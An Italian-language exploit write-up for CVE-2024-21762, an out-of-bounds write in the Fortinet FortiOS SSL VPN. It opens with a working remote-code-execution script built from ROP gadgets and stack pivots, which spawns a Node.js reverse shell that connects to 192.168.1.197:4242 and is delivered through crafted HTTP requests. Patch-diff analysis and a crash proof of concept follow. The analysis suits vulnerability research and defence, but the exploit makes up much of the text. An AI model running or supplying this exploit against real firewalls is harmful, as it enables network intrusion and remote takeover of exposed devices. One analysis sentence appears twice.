
Vulnerabilità CVE-2024-21762: scrittura fuori dai limiti in Fortinet FortiOS
scrittura fuori dai limiti in Fortinet FortiOS CVE-2024-21762 vulnerabilità
ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"
pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;
rop = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;
rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;
rop += b"%f5%2c%e6%00%00%00%00%00" # sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" # add rsi, rax; mov [rdi+8], rsi; ret;
rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8
pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;
call_execl = b"%80%c1%43%00%00%00%00%00"
bin_node = b"/bin/node%00"
e_flag = b"-e%00"
js_payload = b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(4242,"192.168.1.197",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'
form_value = b""
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
form_value += b"B"*438 + pivot_2 + getcwd_ptr
form_value += b"B"*32 + pivot_1
form_value += b"B"*168 + call_execl
form_value += b"B"*432 + ssl_do_handshake_ptr
form_value += b"B"*32 + rop + pivot_3
body = (b"B"*1808 + b"=" + form_value + b"&")*20
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body
ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)
time.sleep(1)
ssock2 = make_sock(TARGET, PORT)
data = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"
ssock2.sendall(data)
A febbraio, FortiGate ha rilasciato un aggiornamento della versione, correggendo diverse vulnerabilità di media e alta gravità. Una delle vulnerabilità critiche è una vulnerabilità di scrittura fuori dai limiti non autorizzata in SSL VPN. L'avviso di vulnerabilità afferma che questa vulnerabilità potrebbe essere sfruttata in natura. Questo articolo introdurrà l'analisi dell'autore del processo di sfruttamento di questa vulnerabilità per ottenere l'esecuzione remota di codice.

L'ambiente utilizzato per l'analisi della vulnerabilità in questo articolo è FGT_VM64-v7.4.2.F-build2571
Confrontando i binari delle versioni riparate (7.4.2 e 7.4.3), l'analisi ha rilevato che il codice di riparazione si trova nella funzione sub_18F4980 (7.4.2).

Analizzando questa funzione, non è difficile scoprire che la logica di questa funzione è leggere i dati del corpo della richiesta HTTP POST. Allo stesso tempo, determina in base all'intestazione della richiesta Transfer-Encoding se leggere in formato chunk o basato su Content-Length. Secondo i risultati del confronto del grafico del flusso di controllo, ci sono due modifiche al codice:
Quando si analizza il formato chunk, chiama ap_getline per leggere la lunghezza del chunk e verifica se il valore restituito da ap_getline è maggiore di 16. Se è maggiore di 16, viene considerata una lunghezza del chunk illegale.

Quando si legge il trailer del chunk, l'origine dell'offset \r\n scritto è l'assegnazione di line_off, il valore di line_off prima della riparazione proviene da *(_QWORD *)(a1 + 744), mentre dopo la riparazione il valore restituito è line_off da ap_getline.
Continuando a tracciare a ritroso, *(_QWORD *)(a1 + 744) il valore che si può trovare è la lunghezza del campo lunghezza del chunk della prima verifica.

Continuando a tracciare a ritroso, *(_QWORD *)(a1 + 744) il valore che si può trovare è la lunghezza del campo lunghezza del chunk della prima verifica.

Allo stesso tempo, leggendo il codice si capisce che quando il valore del campo lunghezza del chunk è 0 dopo la decodifica hex, si entra nella logica di lettura del trailer del chunk.
Dopo aver analizzato la patch, possiamo trarre le seguenti conclusioni:
ap_getline per leggere il trailer del chunk, scriverà \r\n nel buffer in base alla lunghezza del campo lunghezza del chunk.Pertanto, se molti zeri vengono passati nel campo lunghezza del chunk e la lunghezza degli zeri è maggiore di 1/2 della lunghezza rimanente del buffer, verrà attivata una scrittura fuori dai limiti di \r\n. Tramite debug, possiamo sapere che il buffer di destinazione si trova sullo stack (funzione sub_1A111E0) e l'indirizzo di ritorno è memorizzato all'offset 0x2028. Se si scrive \r\n all'offset 0x202e, si verificherà un crash a causa di un indirizzo illegale quando la funzione ritorna per eseguire l'istruzione che ripristina rip.
Crash PoC:
pkt = b"""\
GET / HTTP/1.1
Host: %s
Transfer-Encoding: chunked
%s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a")
ssock = create_ssock(hostname, port)
ssock.send(pkt)
ssock.recv(4096)
Scena del crash:

Analizzando la causa della vulnerabilità, si può vedere che la vulnerabilità può essere utilizzata per scrivere due byte \r\n fuori dai limiti sullo stack, e l'intervallo fuori dai limiti è prossimo a 0x2000. Poiché il contenuto scritto è molto limitato, non è possibile ottenere RCE dirottando direttamente rip. Pertanto, è necessario concentrarsi sul puntatore di memoria salvato sullo stack.